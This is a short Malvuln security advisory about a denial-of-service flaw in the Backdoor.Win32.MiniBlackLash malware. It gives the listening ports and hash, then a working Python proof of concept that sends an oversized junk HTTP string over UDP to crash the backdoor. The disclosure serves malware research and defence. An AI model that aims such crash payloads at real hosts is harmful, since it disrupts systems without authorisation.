Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/57dee3430d4531a2699f6520819a2ece.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MiniBlackLash
Vulnerability: Remote DoS
Description: MiniBlackLash listens on both TCP port 6711 and UDP port 60000. Sending a large HTTP request string of junk chars to UDP port 60000 will crash this backdoor.
Type: PE32
MD5: 57dee3430d4531a2699f6520819a2ece
Vuln ID: MVID-2021-0060
Disclosure: 01/28/2021

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=60000

def doit():
    s=socket(AF_INET, SOCK_DGRAM) 
    s.connect((MALWARE_HOST, PORT))

    PBARBAR="A"*10000+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PBARBAR)
    s.close()

    print("Backdoor.Win32.MiniBlackLash / Remote DoS");
    print("MD5: 57dee3430d4531a2699f6520819a2ece");
    print("By Malvuln");


if __name__=="__main__":
    doit()


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